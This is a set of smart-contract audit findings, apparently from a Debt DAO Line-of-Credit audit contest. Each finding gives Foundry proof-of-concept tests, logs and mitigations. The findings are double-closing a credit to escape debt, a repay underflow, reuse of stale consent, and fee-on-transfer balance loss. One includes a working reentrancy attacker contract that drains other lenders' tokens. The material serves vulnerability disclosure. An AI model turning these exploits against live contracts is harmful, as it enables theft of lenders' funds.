Debt DAO contest - hansfriese's results

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L388

Vulnerability details

Impact

STATUS.REPAID means the borrower has repaid all debts and he can withdraw back all of his collaterals.

Currently, a malicious borrower can close one credit several times using close() and make the state STATUS.REPAID so that he doesn't need to repay other debts anymore.

Proof of Concept

This is the test to show the scenario.

    function testCloseMultipleTimes() public {
        address lender1 = address(200); // honest lender
        address lender2 = address(300); // malicious lender who knows the borrower, can be a borrower himself

        supportedToken1.mint(lender1, 1000 ether);
        supportedToken1.mint(lender2, 10 ether);

        emit log_named_decimal_uint("Start Borrower Balance", supportedToken1.balanceOf(address(borrower)), 18);
        emit log_named_decimal_uint("Start Line Balance", supportedToken1.balanceOf(address(line)), 18);

        vm.startPrank(lender1);
        supportedToken1.approve(address(line), MAX_INT);
        vm.stopPrank();
        vm.startPrank(lender2);
        supportedToken1.approve(address(line), MAX_INT);
        vm.stopPrank();

        // Create a credit of 1000 ether and borrow all amount ether from lender1
        vm.prank(borrower);
        line.addCredit(dRate, fRate, 1000 ether, address(supportedToken1), lender1);
        vm.stopPrank();
        vm.prank(lender1);
        bytes32 creditId1 = line.addCredit(dRate, fRate, 1000 ether, address(supportedToken1), lender1);
        vm.stopPrank();
        vm.prank(borrower);
        line.borrow(creditId1, 1000 ether);
        vm.stopPrank();

        // Create a credit of 10 ether with lender2 and borrow nothing
        vm.prank(borrower);
        line.addCredit(dRate, fRate, 10 ether, address(supportedToken1), lender2);
        vm.stopPrank();
        vm.prank(lender2);
        bytes32 creditId2 = line.addCredit(dRate, fRate, 10 ether, address(supportedToken1), lender2);
        vm.stopPrank();

        emit log_named_decimal_uint("Borrower balance before close", supportedToken1.balanceOf(address(borrower)), 18);
        emit log_named_decimal_uint("Line balance before close", supportedToken1.balanceOf(address(line)), 18);

        // close the credit with lender2 twice 
        emit log_named_uint("Line status before close", uint(line.status())); // active now
        vm.prank(borrower);
        line.close(creditId2);
        vm.stopPrank();
        emit log_named_uint("Line status after the 1st close", uint(line.status())); // active now
        vm.prank(borrower);
        line.close(creditId2);
        vm.stopPrank();
        emit log_named_uint("Final Line status after the 2nd close", uint(line.status())); // should be active but repaid now

        // check balance and liquidatable status
        emit log_named_decimal_uint("Final Borrower Balance", supportedToken1.balanceOf(address(borrower)), 18);
        emit log_named_decimal_uint("Final Line Balance", supportedToken1.balanceOf(address(line)), 18);
    }

This is the result of the test.

Running 1 test for contracts/tests/LineOfCredit.t.sol:LineTest
[PASS] testCloseMultipleTimes() (gas: 589942)
Logs:
  Start Borrower Balance: 100.000000000000000000
  Start Line Balance: 0.000000000000000000
  Borrower balance before close: 1100.000000000000000000
  Line balance before close: 10.000000000000000000
  Line status before close: 1
  Line status after the 1st close: 1
  Final Line status after the 2nd close: 3
  Final Borrower Balance: 1100.000000000000000000
  Final Line Balance: 0.000000000000000000

After the normal borrowing with other lenders, the borrower can create another credit with a malicious lender(or borrower himself) and close it several times.

Then the credit state will be STATUS.REPAID when count == 0.

    // remove from active list
    ids.removePosition(id);
    unchecked { --count; }

    // If all credit lines are closed the the overall Line of Credit facility is declared 'repaid'.
    if (count == 0) { _updateStatus(LineLib.STATUS.REPAID); }

Tools Used

Foundry

Recommended Mitigation Steps

We should check if the credit is not closed already before calling the close() function.

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L137-L151 https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L168-L195

Vulnerability details

Impact

The lender and the borrower can repay borrower's debt using unusedTokens in SpigotedLine.useAndRepay function. The repay amount can be as much as unusedTokens[credit.token] in SpigotedLine.useAndRepay#143. The actual repay is handled in CreditLib.repay, and the amount can be larger than the debt. In that case, credit.principal will be underflow, so the principal will be too large to repay.

Proof of Concept

When SpigotedLine.useAndRepay is called by borrower or lender, the amount should be less than unusedTokens[credit.token], so let us assume that amount = unusedTokens[credit.token].

    function useAndRepay(uint256 amount) external whileBorrowing returns(bool) {
      bytes32 id = ids[0];
      Credit memory credit = credits[id];
      if (msg.sender != borrower && msg.sender != credit.lender) {
        revert CallerAccessDenied();
      }
      require(amount <= unusedTokens[credit.token]);
      unusedTokens[credit.token] -= amount;

      credits[id] = _repay(_accrue(credit, id), id, amount);

      emit RevenuePayment(credit.token, amount);

      return true;
    }

The above _repay function is in LineOfCredit.sol, and it calls CreditLib.repay.

  function repay(
    ILineOfCredit.Credit memory credit,
    bytes32 id,
    uint256 amount
  )
    external
    returns (ILineOfCredit.Credit memory)
  { unchecked {
      if (amount <= credit.interestAccrued) {
          credit.interestAccrued -= amount;
          credit.interestRepaid += amount;
          emit RepayInterest(id, amount);
          return credit;
      } else {
          uint256 interest = credit.interestAccrued;
          uint256 principalPayment = amount - interest;

          // update individual credit line denominated in token
          credit.principal -= principalPayment; //@audit underflow
          credit.interestRepaid += interest;
          credit.interestAccrued = 0;

          emit RepayInterest(id, interest);
          emit RepayPrincipal(id, principalPayment);

          return credit;
      }
  } }

If the repay amount is larger than the dept, i.e. amount > credit.principal + credit.interestAccrued, principalPayment will be larger than credit.principal in CreditLib.sol#183, and credit.principal will underflow in CreditLib.sol#186.

We assumed that the repay amount is unusedTokens[credit.token]. So if unusedTokens[credit.token] is larger than debt, the underflow can happen. unusedTokens are updated by spigot.claimEscrow. Spigot.claimEscrow calls SpigotLib.claimEscrow, and SpigotLib.claimEscrow returns SpigotState.escrowed. SpigotState.escrowed is updated in SpigotLib.claimRevenue, and then SpigotLib.claimRevenue calls the internal function SpigotLib._claimRevenue. Finally, SpigotLib._claimRevenue, the actual claim value is from revenueContract, and it can be larger than credit.principal.

So this underflow is possible.

Tools Used

Manual Review

Recommended Mitigation Steps

Make sure that repay amount is less than the dept in CreditLib.repay. i.e. amount <= credit.principal + credit.interestAccrued.

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L254 https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L270

Vulnerability details

Impact

setRate() and increaseCredit() have a mutualConsentById modifier to check the mutual consent between the lender and borrower.

Once the borrower signed the consent first, the lender can apply the consent after closing the current credit and opening the same credit.

Then there might be an unexpected loss or impact that the borrower doesn't want.

Proof of Concept

This is the test to show the scenario.

    function testApplyOldConsent() public {
        // React with other lenders
        address lender1 = address(200); // honest lender
        supportedToken1.mint(lender1, 1 ether);
        vm.startPrank(lender1);
        supportedToken1.approve(address(line), MAX_INT);
        vm.stopPrank();
        vm.prank(borrower);
        line.addCredit(dRate, fRate, 1 ether, address(supportedToken1), lender1);
        vm.stopPrank();
        vm.prank(lender1);
        line.addCredit(dRate, fRate, 1 ether, address(supportedToken1), lender1);
        vm.stopPrank();

        uint initialBalance = supportedToken1.balanceOf(address(borrower));
        emit log_named_decimal_uint("Initial Borrower Balance", initialBalance, 18);

        // Create a credit of 1 ether with the malicious lender
        vm.prank(borrower);
        line.addCredit(dRate, fRate, 1 ether, address(supportedToken1), lender);
        vm.stopPrank();
        vm.prank(lender);
        bytes32 creditId1 = line.addCredit(dRate, fRate, 1 ether, address(supportedToken1), lender);
        vm.stopPrank();

        emit log_named_uint("creditId1", uint(creditId1));
        emit log_named_uint("First dRate", uint(dRate));
        emit log_named_uint("First fRate", uint(fRate));

        // Borrow 1 ether from the malicious lender
        vm.prank(borrower);
        line.borrow(creditId1, 1 ether);
        vm.stopPrank();

        emit log_named_decimal_uint("First Borrowed amount", supportedToken1.balanceOf(address(borrower)) - initialBalance, 18);

        // Borrower has agreed to increase the dRate & fRate because the borrowed amount is not big, but the lender didn't call setRates() on his end after the borrower's consent
        vm.prank(borrower);
        line.setRates(creditId1, dRate * 10, fRate * 10);
        vm.stopPrank();

        // Borrower repaid and closed the credit
        vm.prank(borrower);
        line.depositAndClose();
        vm.stopPrank();

        // The malicious lender said the borrower to lend tokens without any interest rate
        vm.prank(borrower);
        line.addCredit(0, 0, 100 ether, address(supportedToken1), lender);
        vm.stopPrank();
        vm.prank(lender);
        bytes32 creditId2 = line.addCredit(0, 0, 100 ether, address(supportedToken1), lender);
        vm.stopPrank();

        (uint128 _dRate, uint128 _fRate, ) = line.interestRate().rates(creditId2);

        emit log_named_uint("creditId2", uint(creditId2));
        emit log_named_uint("Second dRate", uint(_dRate));
        emit log_named_uint("Second fRate", uint(_fRate));

        // Borrowed all amount as the interest rate is 0
        vm.prank(borrower);
        line.borrow(creditId1, 100 ether);
        vm.stopPrank();

        emit log_named_decimal_uint("Second Borrowed amount", supportedToken1.balanceOf(address(borrower)) - initialBalance, 18);

        // The lender increased the dRate & fRate using the past consent because creditId1 == creditId2
        vm.prank(lender);
        line.setRates(creditId2, dRate * 10, fRate * 10);
        vm.stopPrank();

        (_dRate, _fRate, ) = line.interestRate().rates(creditId2);
        emit log_named_uint("Final dRate", uint(_dRate));
        emit log_named_uint("Final fRate", uint(_fRate));
    }

This is the result of the test.

Running 1 test for contracts/tests/LineOfCredit.t.sol:LineTest
[PASS] testApplyOldConsent() (gas: 722350)
Logs:
  Initial Borrower Balance: 100.000000000000000000
  creditId1: 46561515594145399622473420085312788390268491352863149030766718414074458967366
  First dRate: 100
  First fRate: 1
  First Borrowed amount: 1.000000000000000000
  creditId2: 46561515594145399622473420085312788390268491352863149030766718414074458967366
  Second dRate: 0
  Second fRate: 0
  Second Borrowed amount: 100.000000000000000000
  Final dRate: 1000
  Final fRate: 10

Currently, credit id is computed using lender and token so that the id of the new credit will be same as the old one if they use the same token.

    function _createCredit(
        address lender,
        address token,
        uint256 amount
    )
        internal
        returns (bytes32 id)
    {
        id = CreditLib.computeId(address(this), lender, token);
        // MUST not double add the credit line. otherwise we can not _close()
        if(credits[id].lender != address(0)) { revert PositionExists(); }

        credits[id] = CreditLib.create(id, amount, lender, token, address(oracle));

        ids.push(id); // add lender to end of repayment queue
        
        unchecked { ++count; }

        return id;
    }

So after closing the old credit, a lender can propose a large amount of credit with low rates and increase the rate after the creation using the unused old consent.

As a result, there will be an unexpected loss with the high rates.

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Currently, users can't cancel their consent once they signed using _mutualConsent().

We should add a cancelConsent() to remove the consent if the original signer wants like below.

    mapping(byte32 => address) consentsSigner; //++++++++++++++++

    // The original signer can cancel the consent anytime
    function cancelConsent(byte32 consentHash) { //++++++++++++++++
        if(consentsSigner[consentHash] == msg.sender) {
            delete mutualConsents[consentHash]; 
            delete consentsSigner[consentHash];
        }
    }

    function _mutualConsent(address _signerOne, address _signerTwo) internal returns(bool) {
        if(msg.sender != _signerOne && msg.sender != _signerTwo) { revert Unauthorized(); }

        address nonCaller = _getNonCaller(_signerOne, _signerTwo);

        // The consent hash is defined by the hash of the transaction call data and sender of msg,
        // which uniquely identifies the function, arguments, and sender.
        bytes32 expectedHash = keccak256(abi.encodePacked(msg.data, nonCaller));

        if (!mutualConsents[expectedHash]) {
            bytes32 newHash = keccak256(abi.encodePacked(msg.data, msg.sender));

            mutualConsents[newHash] = true;
            consentsSigner[newHash] = msg.sender; //++++++++++++++++++++++

            emit MutualConsentRegistered(newHash);

            return false;
        }

        delete mutualConsents[expectedHash]; 
        delete consentsSigner[expectedHash]; //+++++++++++++++++++++++++++

        return true;
    }

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L388 https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L483

Vulnerability details

Impact

It is well known that some ERC20 tokens like ERC777 tokens have callbacks (or hooks) like beforeTokenTransfer. For the credit contracts that support this kind of token, an attacker can steal other lender's tokens through reentrancy exploit for close function.

function _close(Credit memory credit, bytes32 id) internal virtual returns (bool) {
    if(credit.principal > 0) { revert CloseFailedWithPrincipal(); }

    // return the Lender's funds that are being repaid
    if (credit.deposit + credit.interestRepaid > 0) { 
        LineLib.sendOutTokenOrETH( //@audit reentrancy
            credit.token,
            credit.lender,
            credit.deposit + credit.interestRepaid
        );
    }

    delete credits[id]; // gas refunds

    ...
}

Proof of Concept

Below is a test contract for a PoC.

// /contracts/mock/RevenueToken.sol

interface IERC20WithCallback {
    function beforeTokenTransfer (address to, uint256 amount) external;
}

contract RevenueToken is ERC20("Token earned as revenue", "BRRRR") {

    function mint(address account, uint256 amount) external returns(bool) {
        _mint(account, amount);
        return true;
    }

    function burnFrom(address account, uint256 amount) external returns(bool) {
        _burn(account, amount);
        return true;
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool)
    {
        _beforeTokenTransfer(to, amount);
        return super.transfer(to, amount);
    }
    function _beforeTokenTransfer(address to, uint256 amount) internal {
        IERC20WithCallback(to).beforeTokenTransfer(to, amount);
    }
}

contract AttackContract is IERC20WithCallback
{
    address lineAddress;
    address token;
    uint256 depositAmount;
    bytes32 creditId;
    uint totalCount = type(uint256).max;
    function setLineAddress(address _lineAddress, uint256 _depositAmount, bytes32 _creditId, address _token) public {
        lineAddress = _lineAddress;
        depositAmount = _depositAmount;
        creditId = _creditId;
        token = _token;
    }
    function beforeTokenTransfer(address to, uint256 amount)  external {
        uint256 balance = IERC20(token).balanceOf(lineAddress);
        if(totalCount == type(uint256).max)
        {
            totalCount = balance / amount;
        }

        if(totalCount > 1)
        {
            totalCount --;
            ILineOfCredit(lineAddress).close(creditId);
        }
    }
}

// /contracts/tests/LineOfCredit.t.sol
function testAudit() public {
    AttackContract atackContract = new AttackContract();
    address attackAddress= address(atackContract);
    address honestLender = address(200);

    deal(honestLender, 10 ether);
    deal(attackAddress, 10 ether);

    supportedToken1.mint(honestLender, 10001 ether);
    supportedToken1.mint(attackAddress, 101 ether);

    emit log_string("Initialization");
    emit log_named_decimal_uint("Line balance", supportedToken1.balanceOf(address(line)), 18);
    emit log_named_decimal_uint("Honest lender balance", supportedToken1.balanceOf(address(honestLender)), 18);
    emit log_named_decimal_uint("Attacker balance", supportedToken1.balanceOf(address(attackAddress)), 18);

    vm.startPrank(honestLender);
    supportedToken1.approve(address(line), MAX_INT);
    vm.stopPrank();
    vm.startPrank(attackAddress);
    supportedToken1.approve(address(line), MAX_INT);
    vm.stopPrank();

    vm.prank(borrower);
    line.addCredit(dRate, fRate, 10000 ether, address(supportedToken1), honestLender);
    vm.stopPrank();
    vm.prank(honestLender);
    line.addCredit(dRate, fRate, 10000 ether, address(supportedToken1), honestLender);
    vm.stopPrank();

    vm.prank(borrower);
    line.addCredit(dRate, fRate, 100 ether, address(supportedToken1), attackAddress);
    vm.stopPrank();

    vm.prank(attackAddress);
    bytes32 attackerCreditId = line.addCredit(dRate, fRate, 100 ether, address(supportedToken1), attackAddress);
    vm.stopPrank();

    atackContract.setLineAddress(address(line), 100 ether, attackerCreditId, address(supportedToken1));

    emit log_string("Before attack");
    emit log_named_decimal_uint("Line balance", supportedToken1.balanceOf(address(line)), 18);
    emit log_named_decimal_uint("Honest lender balance", supportedToken1.balanceOf(address(honestLender)), 18);
    emit log_named_decimal_uint("Attacker balance", supportedToken1.balanceOf(address(attackAddress)), 18);

    vm.prank(attackAddress);
    line.close(attackerCreditId);
    vm.stopPrank();

    emit log_string("After attack");
    emit log_named_decimal_uint("Line balance", supportedToken1.balanceOf(address(line)), 18);
    emit log_named_decimal_uint("Honest lender balance", supportedToken1.balanceOf(address(honestLender)), 18);
    emit log_named_decimal_uint("Attacker balance", supportedToken1.balanceOf(address(attackAddress)), 18);
}

Below is a result of the test contract.

  Initialization
  Line balance: 0.000000000000000000
  Honest lender balance: 10001.000000000000000000
  Attacker balance: 101.000000000000000000
  Before attack
  Line balance: 10100.000000000000000000
  Honest lender balance: 1.000000000000000000
  Attacker balance: 1.000000000000000000
  After attack
  Line balance: 0.000000000000000000
  Honest lender balance: 1.000000000000000000
  Attacker balance: 10101.000000000000000000

Tools Used

Foundry

Recommended Mitigation Steps

Mark the close() function as nonReentrant.

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L237 https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L280

Vulnerability details

Impact

Currently, it doesn't check the real token amount after token transfers and the credit contract will have a less balance than it should when the token is a fee-on-transfer one.

As a result, when a borrower tries to close the credit, it might be failed because of insufficient balance to refund to a lender.

Proof of Concept

When we check addCredit(), it doesn't update the real balance after transfer for the fee-on-transfer tokens. Other functions like increaseCredit() and depositAndClose() work like that as well.

And the admin can't prevent using such tokens because the credit is created by lenders and borrowers.

As a result, the below scenario is possible.

• After creating a credit with a fee-on-transfer token, a lender deposited 100 amount of token.
• But the real balance of the contract is 99.
• A borrower borrowed some amount and repaid the whole amount including 10 amount of interest.
• After that, a borrower tries to close the credit and it tries to transfer 100 + 10 to a lender here.

    // return the Lender's funds that are being repaid
    if (credit.deposit + credit.interestRepaid > 0) {
        LineLib.sendOutTokenOrETH(
            credit.token,
            credit.lender,
            credit.deposit + credit.interestRepaid
        );
    }

• But it will be failed because the balance of the contract is less than 100 + 10 and the borrower can't close the credit forever.
• It will be closed if the borrower increase the contract balance by sending some amount of tokens directly but he wouldn't know that because it's not a normal approach.

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Recommend checking the real balance during the token transfer using afterTransferBalance - beforeTransferBalance formula.